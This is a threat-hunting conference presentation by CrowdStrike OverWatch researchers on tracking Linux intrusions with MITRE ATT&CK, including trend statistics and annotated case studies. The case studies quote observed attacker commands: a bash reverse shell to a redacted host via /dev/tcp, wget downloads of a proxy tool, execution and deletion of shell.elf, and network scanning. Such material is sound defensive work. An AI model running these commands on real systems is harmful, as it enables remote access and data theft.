ENHANCING OPERATIONS BY TRACKING INTERACTIVE LINUX-BASED INTRUSION CAMPAIGNS

JUSTIN SWISHER, SR INTRUSION RESEARCHER, CROWDSTRIKE
AMI HOLESTON, INTRUSION RESEARCHER, CROWDSTRIKE
JUSTIN SWISHER
Sr. Intrusion Researcher, OverWatch

- 10+ years in intelligence and information security
- USAF Intelligence Analyst
- Network Security Monitoring
- Endpoint Threat Hunting
- Email: justin.swisher@crowdstrike.com
AMI HOLESTON
Intrusion Researcher, OverWatch

- 5+ Years Experience in Incident Response and Threat Intelligence
- Network Security Monitoring
- Endpoint Threat Hunting
- Threat Intelligence for Red and Blue Teams
- Email: ami.holeston@crowdstrike.com
OUR DAY TO DAY

- Review telemetry from hands-on-keyboard intrusions
  - Specific focus on intrusions where a HUMAN is involved
    - This is determined by pace of commands among other factors
- Data from Windows, Linux, and MacOS
- Custom Tooling + the usual suspects
  - Splunk, Excel, MISP
  - Google and MAN Pages
WHY INTRUSION TRACKING?

- Successes
- Failures
- Gaps

- Hands on keyboard techniques
- Adversary development and growth
- Clusters of activity
TRACKING INTRUSIONS
Storing this data is challenging
- Specific intrusion details
- Metadata
Open Source Tools exist
- CSVs and MITRE ATT&CK Navigator
- MISP
Having a source of telemetry
- Codifying the information consistently
- Asking – What could we be missing? What else happened?
- As a managed service, alerting organizations of activity
- Closing the loop – When we find something new, we built out new hunting patterns
# Analyzing Linux Intrusions

- Map unique **observed** events to MITRE

<table>
<thead>
<tr>
<th>Tactic</th>
<th>Technique</th>
<th>Command/Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>Execution</td>
<td>Container Administration Command</td>
<td><code>docker-runc init</code></td>
</tr>
<tr>
<td></td>
<td>Linux and Mac File and Directory Permissions Modification</td>
<td><code>/bin/sh -c chmod +x /home/daemon1</code></td>
</tr>
<tr>
<td>Defense Evasion</td>
<td>Indicator Removal on Host</td>
<td><code>rm /home/daemon1</code></td>
</tr>
<tr>
<td>Discovery</td>
<td>Remote System Discovery</td>
<td><code>.daemon -h 10.170.0.0/24 -p 1-65535 -o /home/result.txt</code></td>
</tr>
<tr>
<td></td>
<td>Container and Resource Discovery</td>
<td>`/bin/sh -c docker images</td>
</tr>
</tbody>
</table>
**CHALLENGES AND SUCCESSES**

**Challenges**
- Telemetry is very different to Windows
- Process lineage and tracing is often more challenging
- Can be a high noise-to-signal ratio
- *Higher levels of confusion thanks to different distros, programs and confusing admin activity*
- *Linux Skills gap—high demand for experienced hunters*

**Successes**
- Malicious activity typically originates from a few limited categories—SSH; Exploited Services (Web Shells); pre-existing backdoors
- Mostly command-line interaction—more comprehensive capture than GUI
- Hands-on-keyboard activity more likely to be novel or interesting
- *Adversaries also have to deal with all the variance and the skills gap*
TRENDS WE SEE
INTRUSION TRENDS

2020

- Operating System
  - Windows: 92%
  - Linux: 8%

- Threat Type
  - eCrime: 25%
  - Targeted: 38%
  - Unattributed: 38%

2021

- Operating System
  - Windows: 85%
  - Linux: 15%

- Threat Type
  - eCrime: 28%
  - Targeted: 34%
  - Unattributed: 38%
<table>
<thead>
<tr>
<th><strong>Initial Access</strong></th>
<th><strong>Credential Access</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploit Public-Facing Application - T1190</td>
<td>/etc/passwd and /etc/shadow - T1003.008</td>
</tr>
<tr>
<td><strong>Execution</strong></td>
<td>Bash History - T1552.003</td>
</tr>
<tr>
<td>UNIX Shell - T1059.004</td>
<td>Credentials in Files - T1552.001</td>
</tr>
<tr>
<td><strong>Persistence</strong></td>
<td><strong>Lateral Movement</strong></td>
</tr>
<tr>
<td>Web Shell - T1505.003</td>
<td>SSH - T1021.004</td>
</tr>
<tr>
<td><strong>Defense Evasion</strong></td>
<td><strong>Collection</strong></td>
</tr>
<tr>
<td>Clear Command History - T1070.003</td>
<td>Data from Local System - T1005</td>
</tr>
<tr>
<td>File Deletion - T1070.004</td>
<td><strong>Command and Control</strong></td>
</tr>
<tr>
<td></td>
<td>Ingress Tool Transfer - T1105</td>
</tr>
</tbody>
</table>
## Q1 2021 VS. Q1 2022

### Defense Evasion

<table>
<thead>
<tr>
<th>2021</th>
<th>2022</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Valid Accounts</strong></td>
<td><strong>Local Accounts</strong></td>
</tr>
<tr>
<td><strong>Indicator Removal on Host</strong></td>
<td><strong>File Deletion</strong></td>
</tr>
<tr>
<td><strong>File and Directory Permissions</strong></td>
<td><strong>File Deletion</strong></td>
</tr>
<tr>
<td><strong>Masquerading</strong></td>
<td><strong>Timestamp</strong></td>
</tr>
<tr>
<td><strong>Obfuscated Files or Information</strong></td>
<td><strong>Clear Linux or Mac System Logs</strong></td>
</tr>
<tr>
<td><strong>Abuse Elevation Control Mechanism</strong></td>
<td><strong>Clear Command History</strong></td>
</tr>
<tr>
<td><strong>Deobfuscate/Decode Files or Information</strong></td>
<td><strong>Linux and Mac File and Directory Permissions Modification</strong></td>
</tr>
<tr>
<td><strong>Impair Defenses</strong></td>
<td><strong>Disable or Modify Tools</strong></td>
</tr>
<tr>
<td><strong>Obfuscated Files or Information</strong></td>
<td><strong>Compile After Delivery</strong></td>
</tr>
<tr>
<td><strong>Explotition for Defense Evasion</strong></td>
<td><strong>Rootkit</strong></td>
</tr>
</tbody>
</table>

### Credential Access

<table>
<thead>
<tr>
<th>2021</th>
<th>2022</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Unsecured Credentials</strong></td>
<td><strong>Bash History</strong></td>
</tr>
<tr>
<td><strong>Credentials from Password Stores</strong></td>
<td><strong>Credentials In Files</strong></td>
</tr>
<tr>
<td><strong>Input Capture</strong></td>
<td><strong>Private Keys</strong></td>
</tr>
<tr>
<td><strong>OS Credential Dumping</strong></td>
<td><strong>/etc/passwd and /etc/shadow</strong></td>
</tr>
<tr>
<td><strong>Steal or Forge Kerberos Tickets</strong></td>
<td><strong>Keylogging</strong></td>
</tr>
</tbody>
</table>

©2022 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.
UNKNOWN ACTOR LINUX INTRUSION
Actor attempts to acquire sensitive data

DISCOVERY, COLLECTION, COMMAND & CONTROL

- `find / -name '*.properties'`
  - File and Directory Discovery - T1083
- `cat /opt/tomcat/conf/logging.properties`
  - Data from Local System - T1005
- `cd "/opt"; wget https://[REDACTED]/wp-admin/images/frpc 2>&1`
- `cd "/opt"; wget https://[REDACTED]/wp-admin/images/frpc --no-check-certificate 2>&1`
  - Ingress Tool Transfer - T1105 (Take 2)
UNKNOWN ACTOR LINUX INTRUSION
Actor attempts to execute custom tooling

COMMAND & CONTROL, DEFENSE EVASION

- cd "/opt";./frpc -c frpc.ini 2>&1
  - Proxy - T1090
- cd "/opt";chmod +x frpc 2>&1
  - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification - T1222.002
- cd "/opt";./frpc -c frpc.ini 2>&1
  - Proxy - T1090
UNIQUE ACTOR LINUX INTRUSION
Actor makes persistent attempts access the remote host

COMMAND & CONTROL, EXECUTION, DEFENSE EVASION

- `cd "/opt"; bash -i > & /dev/tcp/[REDACTED] /9999 0>&1 2>&1`
  - Non-Standard Port - T1571
  - Command and Scripting Interpreter: Unix Shell - T1059.004
- `cd "/opt"; ./shell.elf 2>&1`
  - Command and Scripting Interpreter - T1059
- `cd "/opt"; rm shell.elf 2>&1`
  - Indicator Removal on Host: File Deletion - T1070.004
HOW WE GROW
INFORMING OPERATIONS MOVING FORWARD

By tracking techniques in a consistent manner, OverWatch is able to:

- Identify changes in adversarial behavior easily
  - Using a framework allows us to talk about each intrusion with the same terms
  - Heat maps can visually show something changing
- Hone our hunting patterns—allowing us to better prepare for future attacks
  - Identify and focus pattern development in tactics/techniques that are most frequently observed
- Communicate to customers consistently
  - Presentations and briefings
- Facilitate public reporting
  - 2021 Threat Hunting Report: Insights From the Falcon OverWatch Team
QUESTIONS?